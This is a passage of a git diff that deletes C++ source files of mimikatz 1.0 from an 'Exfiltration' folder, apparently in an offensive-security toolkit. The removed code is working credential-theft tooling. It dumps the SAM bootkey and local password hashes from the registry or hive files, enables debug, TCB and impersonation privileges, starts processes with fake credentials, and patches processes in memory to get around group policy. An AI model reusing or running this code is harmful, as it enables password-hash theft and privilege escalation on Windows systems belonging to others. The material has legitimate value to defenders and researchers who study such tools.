- CloseHandle(mesInfos->hThread); - CloseHandle(mesInfos->hProcess); - } - else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; - - delete mesInfos; - - return reussite; -} - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) -{ - bool reussite = false; - - if(origKey.size() == kiwiKey.size()) - { - SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); - PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); - const void * maCleFinale = kiwiKey.c_str(); - - reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); - } - else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl; - - return reussite; -} - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) -{ - bool reussite = false; - - if(origKey.size() == kiwiKey.size()) - { - SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); - PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); - const void * maCleFinale = kiwiKey.c_str(); - - reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); - } - else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl; - - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h deleted file mode 100644 index c96e22f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h +++ /dev/null @@ -1,30 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_patch.h" -#include - -class mod_mimikatz_nogpo -{ -private: - static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); - static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); - static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); - - static bool getApplicationPathFromCLSID(wstring application, wstring * path); - -public: - static vector getMimiKatzCommands(); - - static bool regedit(vector * arguments); - static bool cmd(vector * arguments); - static bool taskmgr(vector * arguments); - static bool olpst(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp deleted file mode 100644 index 1b29486..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp +++ /dev/null @@ -1,167 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_privilege.h" -#include "..\global.h" - -vector mod_mimikatz_privilege::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges")); - /* Raccourçis */ - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership")); - return monVector; -} - -bool mod_mimikatz_privilege::enable(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); - return true; -} - -bool mod_mimikatz_privilege::remove(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); - return true; -} - -bool mod_mimikatz_privilege::disable(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, 0); - return true; -} - -bool mod_mimikatz_privilege::simplePriv(wstring priv, vector * arguments) -{ - bool ajout = arguments->empty(); - - (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : "; - - vector> * mesPrivs = new vector>; - mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); - - bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); - delete mesPrivs; - - if(reussite) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return reussite; -} - -bool mod_mimikatz_privilege::multiplePrivs(vector * privs, DWORD type) -{ - bool reussite = false; - vector> * mesPrivs = new vector>; - for(vector::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) - { - mesPrivs->push_back(make_pair(*monPrivilege, type)); - } - reussite = mod_privilege::set(mesPrivs); - delete mesPrivs; - - if(reussite) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return reussite; -} - - -bool mod_mimikatz_privilege::list(vector * arguments) -{ - vector> * mesPrivs = new vector>; - - if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) - { - for(vector>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) - { - (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; - - if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) - { - if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) - { - (*outputStream) << L"ENABLED_BY_DEFAULT "; - } - - if(monPrivilege->second & SE_PRIVILEGE_ENABLED) - { - (*outputStream) << L"ENABLED "; - } - - if(monPrivilege->second & SE_PRIVILEGE_REMOVED) - { - (*outputStream) << L"REMOVED "; - } - - if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) - { - (*outputStream) << L"USED_FOR_ACCESS "; - } - - if(monPrivilege->second & SE_PRIVILEGE_REMOVED) - { - (*outputStream) << L"REMOVED"; - } - } - - (*outputStream) << endl; - } - } - else (*outputStream) << mod_system::getWinError() << endl; - - return true; -} - - -bool mod_mimikatz_privilege::debug(vector * arguments) -{ - simplePriv(SE_DEBUG_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::security(vector * arguments) -{ - simplePriv(SE_SECURITY_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::tcb(vector * arguments) -{ - simplePriv(SE_TCB_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::impersonate(vector * arguments) -{ - simplePriv(SE_IMPERSONATE_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::assign(vector * arguments) -{ - simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::shutdown(vector * arguments) -{ - simplePriv(SE_SHUTDOWN_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::takeowner(vector * arguments) -{ - simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h deleted file mode 100644 index f3dc739..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_privilege.h" -#include - -class mod_mimikatz_privilege -{ -private: - static bool multiplePrivs(vector * privs, DWORD type); - static bool simplePriv(wstring priv, vector * arguments); -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - static bool enable(vector * arguments); - static bool remove(vector * arguments); - static bool disable(vector * arguments); - - static bool debug(vector * arguments); - static bool security(vector * arguments); - static bool tcb(vector * arguments); - static bool impersonate(vector * arguments); - static bool assign(vector * arguments); - static bool shutdown(vector * arguments); - static bool takeowner(vector * arguments); - -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp deleted file mode 100644 index d18ca8b..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp +++ /dev/null @@ -1,298 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_process.h" -#include "..\global.h" - -vector mod_mimikatz_process::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); - return monVector; -} - -bool mod_mimikatz_process::start(vector * arguments) -{ - if(!arguments->empty()) - { - wstring commande = arguments->back(); - bool paused = false; - bool sudo = false; - - (*outputStream) << L"Demande d\'exécution de : \'" << commande << L"'" << endl; - PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; - - switch(arguments->size()) - { - case 2: - if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) - paused = true; - else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) - sudo = true; - else - goto doStartProcess_syntaxerror; - - break; - case 3: - if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) - paused = true; - else - goto doStartProcess_syntaxerror; - - if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) - sudo = true; - else - goto doStartProcess_syntaxerror; - - break; - } - - if(mod_process::start(&commande, &pi, paused, sudo)) - { - if(paused) - (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; - - if(sudo) - (*outputStream) << L" * Le processus est démarré avec de fausses données d\'identification" << endl; - - printInfosFromPid(pi.dwProcessId, pi.dwThreadId); - } - else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; - } - else - { -doStartProcess_syntaxerror: - (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; - } - - return true; -} - -bool mod_mimikatz_process::stop(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Fin de : " << procName << L'\t'; - if(mod_process::stop(monProcess.th32ProcessID)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - -bool mod_mimikatz_process::suspend(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Suspension de : " << procName << L'\t'; - if(mod_process::suspend(monProcess.th32ProcessID)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - -bool mod_mimikatz_process::resume(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Reprise de : " << procName << L'\t'; - if(mod_process::resume(monProcess.th32ProcessID)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - - - -bool mod_mimikatz_process::list(vector * arguments) -{ - vector * vectorProcess = new vector(); - if(mod_process::getList(vectorProcess)) - { - (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; - for(vector::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << - monProcess->szExeFile << - endl; - } - } - else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; - - delete vectorProcess; - return true; -} - -bool mod_mimikatz_process::modules(vector * arguments) -{ - DWORD processId = 0 ; - - if(!arguments->empty() && !(arguments->size() > 1)) - { - wstringstream monBuffer; - monBuffer << arguments->front(); - monBuffer >> processId; - } - - vector * vectorModules = new vector(); - if(mod_process::getModulesListForProcessId(vectorModules, &processId)) - { - (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; - for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) - { - (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; - } - } - else - (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; - - delete vectorModules; - return true; -} - -bool mod_mimikatz_process::iat(vector * arguments) -{ - wstring process; - wstring module; - - switch(arguments->size()) - { - case 2: - process = arguments->at(0); - module = arguments->at(1); - break; - case 1: - process = arguments->at(0); - break; - default: - ; - } - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &process)) - { - if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) - { - if(module.empty() || (module.front() != L'*')) - { - if(module.empty()) - module.assign(process); - - mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); - if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) - { - printIATFromModule(monModule, monHandle); - } - else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; - delete monModule; - } - else - { - vector * vectorModules = new vector(); - if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) - { - for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) - printIATFromModule(&*monModule, monHandle); - } - else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; - - delete vectorModules; - } - - CloseHandle(monHandle); - } - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - - return true; -} - -void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) -{ - (*outputStream) << L"PID : " << PID << endl; - - if(ThreadId) - { - (*outputStream) << L"ThreadID : " << ThreadId << endl; - } - - LUID monId = {0, 0}; - if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) - { - (*outputStream) << "AuthId_h : " << monId.HighPart << endl; - (*outputStream) << "AuthId_l : " << monId.LowPart << endl; - } - else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; -} - -void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) -{ - (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; - PBYTE baseAddr = reinterpret_cast(monModule->modBaseAddr); - - vector>> * monIAT = new vector>>(); - if(mod_process::getIAT(baseAddr, monIAT, monHandle)) - { - for(vector>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) - { - (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; - for(vector::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) - { - (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; - if(maFonctionImporte->Ordinal != 0) - (*outputStream) << L"O# " << maFonctionImporte->Ordinal; - else - (*outputStream) << maFonctionImporte->funcName.c_str(); - (*outputStream) << endl; - } - } - } - delete monIAT; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h deleted file mode 100644 index 68f8428..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h +++ /dev/null @@ -1,32 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include - -class mod_mimikatz_process -{ -private: - static void printInfosFromPid(DWORD &PID, DWORD ThreadId); - static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); - -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - - static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - - - static bool modules(vector * arguments); - static bool iat(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp deleted file mode 100644 index 26f5798..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp +++ /dev/null @@ -1,353 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_samdump.h" -#include "..\global.h" - -vector mod_mimikatz_samdump::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM")); - return monVector; -} - -bool mod_mimikatz_samdump::bootkey(vector * arguments) -{ - unsigned char bootkey[0x10]; - if(!arguments->empty()) - getInfosFromHive(arguments->front(), bootkey); - else - getInfosFromReg(bootkey); - return true; -} - -bool mod_mimikatz_samdump::full(vector * arguments) -{ - unsigned char bootkey[0x10]; - if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) - { - if(getInfosFromHive(arguments->front().c_str(), bootkey)) - { - if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) - (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; - } - } - else - { - if(getInfosFromReg(bootkey)) - { - if(!getUsersAndHashesFromReg(bootkey)) - (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; - } - } - return true; -} - -bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - mod_hive::hive * monHive = new mod_hive::hive(); - mod_hive::InitHive(monHive); - if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) - { - string * rootKey = new string(); - if(mod_hive::RegGetRootKey(monHive, rootKey)) - { - string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); - string * valAccountName = new string("F"); - int longueurF = 0; unsigned char *bufferF = NULL; - - if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) - { - BYTE hBootKey[0x20] = {0}; - if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) - { - string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); - mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); - if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) - { - vector * keyNames = new vector(); - if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) - { - for(vector::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) - { - if(maKey->compare("Names") != 0) - { - string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); - string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; - string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; - - if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast(&userV), &longueurV) && - mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast(&userF), &longueurF)) - { - infosFromUserAndKey(userF, userV, hBootKey); - delete[] userF, userV; - } - delete keyUser; - } - } - } - delete keyNames; - } - delete nodeUsers, keyUsers; - } - delete[] bufferF; - } - delete valAccountName, keyAccountName; - } - delete rootKey; - } - delete monHive; - - return reussite; -} - -bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - mod_hive::hive * monHive = new mod_hive::hive(); - mod_hive::InitHive(monHive); - - if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) - { - string * rootKey = new string(); - if(mod_hive::RegGetRootKey(monHive, rootKey)) - { - DWORD nControlSet = 0; - if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) - { - stringstream * monControlSet = new stringstream; - *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; - string * fullControlSet = new string(monControlSet->str()); - delete monControlSet; - - wstring * computerName = new wstring(); - if(getComputerNameFromHive(monHive, fullControlSet, computerName)) - (*outputStream) << L"Ordinateur : " << *computerName << endl; - delete computerName; - - if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) - (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; - delete fullControlSet; - } - } - delete rootKey; - mod_hive::RegCloseHive(monHive); - } - delete monHive; - - return reussite; -} - -bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) -{ - bool reussite = false; - - string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); - string * valComputerName = new string("ComputerName"); - int longueur = 0; unsigned char *buffer = NULL; - if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) - { - computerName->assign(reinterpret_cast(buffer), longueur / sizeof(wchar_t)); - delete[] buffer; - } - delete valComputerName; - delete keyComputerName; - - return reussite; -} - -bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) -{ - bool reussite = false; - - unsigned char key[0x10]; - char *kn[] = {"JD", "Skew1", "GBG", "Data"}; - - for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) - { - string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); - mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); - - if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) - { - char kv[9] = {0}; - unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); - for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) - kv[j] = b[j*2]; - sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); - } - delete n, maKey; - } - - if(reussite) - mod_hash::getBootKeyFromKey(bootkey, key); - - return reussite; -} - -bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - DWORD code; - BYTE key[0x10] = {0}; - wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; - HKEY monLSA; - code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); - if(code == ERROR_SUCCESS) - { - for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) - { - HKEY monSecret; - code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); - if(code == ERROR_SUCCESS) - { - wchar_t monBuffer[8 + 1]; - DWORD maTaille = 8 + 1; - - code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - if(code == ERROR_SUCCESS) - swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); - else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; - RegCloseKey(monSecret); - } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; - } - RegCloseKey(monLSA); - } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; - - if(reussite = (code == ERROR_SUCCESS)) - mod_hash::getBootKeyFromKey(bootkey, key); - - return reussite; -} - - - -bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) -{ - bool reussite = false; - - string * selectKey = new string(*rootKey); selectKey->append("\\Select"); - string * nDefault = new string("Default"); - int longueur = 0; unsigned char *buffer = NULL; - - if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) - { - if(reussite = (longueur == sizeof(DWORD))) - *nControlSet = *(DWORD *) (buffer); - delete[] buffer; - } - - delete nDefault, selectKey; - return reussite; -} - -bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - wstring * computerName = new wstring(); - if(mod_system::getComputerName(computerName)) - (*outputStream) << L"Ordinateur : " << *computerName << endl; - delete computerName; - - if(reussite = getBootKeyFromReg(bootkey)) - (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; - - return reussite; -} - - -bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) -{ - bool reussite = false; - - DWORD code; - HKEY maSAM; - code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); - if(code == ERROR_SUCCESS) - { - DWORD tailleRequise = 0; - code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); - if(code == ERROR_SUCCESS) - { - BYTE * bufferF = new BYTE[tailleRequise]; - code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); - if(code == ERROR_SUCCESS) - { - BYTE hBootKey[0x10] = {0}; - if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) - { - HKEY mesUsers; - code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); - if(code == ERROR_SUCCESS) - { - DWORD nombreUsers = 0, tailleMaxSousCle = 0; - code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); - if(reussite = (code == ERROR_SUCCESS)) - { - tailleMaxSousCle++; - wchar_t * monRid = new 